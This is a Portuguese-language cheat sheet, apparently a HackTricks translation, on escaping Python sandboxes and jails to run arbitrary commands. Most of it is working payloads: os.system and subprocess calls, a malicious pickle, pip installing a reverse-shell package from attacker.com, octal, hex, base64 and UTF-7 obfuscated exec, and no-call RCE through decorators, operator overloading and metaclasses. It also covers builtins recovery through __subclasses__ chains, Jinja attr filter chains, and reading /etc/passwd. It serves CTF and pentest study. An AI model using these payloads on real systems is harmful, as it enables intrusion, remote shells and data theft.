Bypass Python sandboxes

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Esses são alguns truques para contornar as proteções de sandbox do python e executar comandos arbitrários.

Bibliotecas de Execução de Comandos

A primeira coisa que você precisa saber é se pode executar código diretamente com alguma biblioteca já importada, ou se poderia importar qualquer uma dessas bibliotecas:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Lembre-se de que as funções open e read podem ser úteis para ler arquivos dentro do sandbox python e para escrever algum código que você poderia executar para burlar o sandbox.

A função input() do Python2 permite executar código python antes que o programa falhe.

O Python tenta carregar bibliotecas do diretório atual primeiro (o comando a seguir imprimirá de onde o python está carregando os módulos): python3 -c 'import sys; print(sys.path)'

Bypass do sandbox pickle com os pacotes python instalados por padrão

Pacotes padrão

Você pode encontrar uma lista de pacotes pré-instalados aqui: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html Note que a partir de um pickle você pode fazer o ambiente python importar bibliotecas arbitrárias instaladas no sistema. Por exemplo, o seguinte pickle, quando carregado, irá importar a biblioteca pip para usá-la:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Para mais informações sobre como o pickle funciona, confira isso: https://checkoway.net/musings/pickle/

Pacote Pip

Truque compartilhado por @isHaacK

Se você tiver acesso ao pip ou pip.main(), pode instalar um pacote arbitrário e obter um shell reverso chamando:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Você pode baixar o pacote para criar o reverse shell aqui. Por favor, note que antes de usá-lo você deve descompactá-lo, alterar o setup.py e colocar seu IP para o reverse shell:

1KB

Reverse.tar (1).gz

Este pacote é chamado Reverse. No entanto, ele foi especialmente elaborado para que, quando você sair do reverse shell, o restante da instalação falhe, então você não deixará nenhum pacote python extra instalado no servidor quando sair.

Avaliando código python

Note que exec permite strings multilinha e ";", mas eval não permite (ver operador morsa)

Se certos caracteres forem proibidos, você pode usar a representação hex/octal/B64 para bypass a restrição:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Outras bibliotecas que permitem avaliar código python

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Operadores e truques curtos

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Bypassando proteções através de codificações (UTF-7)

Em este artigo, o UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

É também possível contornar isso usando outras codificações, por exemplo, raw_unicode_escape e unicode_escape.

Execução do Python sem chamadas

Se você estiver dentro de uma prisão python que não permite que você faça chamadas, ainda há algumas maneiras de executar funções, código e comandos arbitrários.

RCE com decoradores

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE criando objetos e sobrecarga

Se você pode declarar uma classe e criar um objeto dessa classe, você pode escrever/sobrescrever diferentes métodos que podem ser ativados sem precisar chamá-los diretamente.

RCE com classes personalizadas

Você pode modificar alguns métodos de classe (sobrescrevendo métodos de classe existentes ou criando uma nova classe) para fazê-los executar código arbitrário quando ativados sem chamá-los diretamente.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Criando objetos com metaclasses

A principal coisa que as metaclasses nos permitem fazer é criar uma instância de uma classe, sem chamar o construtor diretamente, criando uma nova classe com a classe alvo como uma metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Criando objetos com exceções

Quando uma exceção é acionada, um objeto da Exceção é criado sem que você precise chamar o construtor diretamente (um truque de @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Mais RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Ler arquivo com ajuda e licença de builtins

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

• Funções builtins do python2

• Funções builtins do python3

Se você puder acessar o __builtins__ objeto, você pode importar bibliotecas (note que você também poderia usar aqui outra representação de string mostrada na última seção):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

Sem Builtins

Quando você não tem __builtins__, você não conseguirá importar nada nem mesmo ler ou escrever arquivos, pois todas as funções globais (como open, import, print...) não estão carregadas. No entanto, por padrão, o python importa muitos módulos na memória. Esses módulos podem parecer benignos, mas alguns deles também estão importando funcionalidades perigosas dentro deles que podem ser acessadas para obter até mesmo execução de código arbitrário.

Nos exemplos a seguir, você pode observar como abusar de alguns desses módulos "benignos" carregados para acessar funcionalidades perigosas dentro deles.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Abaixo há uma função maior para encontrar dezenas/centenas de lugares onde você pode encontrar os builtins.

Python2 e Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Payloads embutidos

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals e locals

Verificar os globals e locals é uma boa maneira de saber o que você pode acessar.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Abaixo há uma função maior para encontrar dezenas/centenas de lugares onde você pode encontrar os globals.

Descobrir Execução Arbitrária

Aqui quero explicar como descobrir facilmente funcionalidades mais perigosas carregadas e propor exploits mais confiáveis.

Acessando subclasses com bypasses

Uma das partes mais sensíveis desta técnica é ser capaz de acessar as subclasses base. Nos exemplos anteriores, isso foi feito usando ''.__class__.__base__.__subclasses__(), mas existem outras maneiras possíveis:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Encontrando bibliotecas perigosas carregadas

Por exemplo, sabendo que com a biblioteca sys é possível importar bibliotecas arbitrárias, você pode procurar por todos os módulos carregados que importaram sys dentro deles:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Há muitos, e só precisamos de um para executar comandos:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Podemos fazer a mesma coisa com outras bibliotecas que sabemos que podem ser usadas para executar comandos:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Além disso, poderíamos até pesquisar quais módulos estão carregando bibliotecas maliciosas:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

Além disso, se você acha que outras bibliotecas podem invocar funções para executar comandos, também podemos filtrar por nomes de funções dentro das possíveis bibliotecas:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
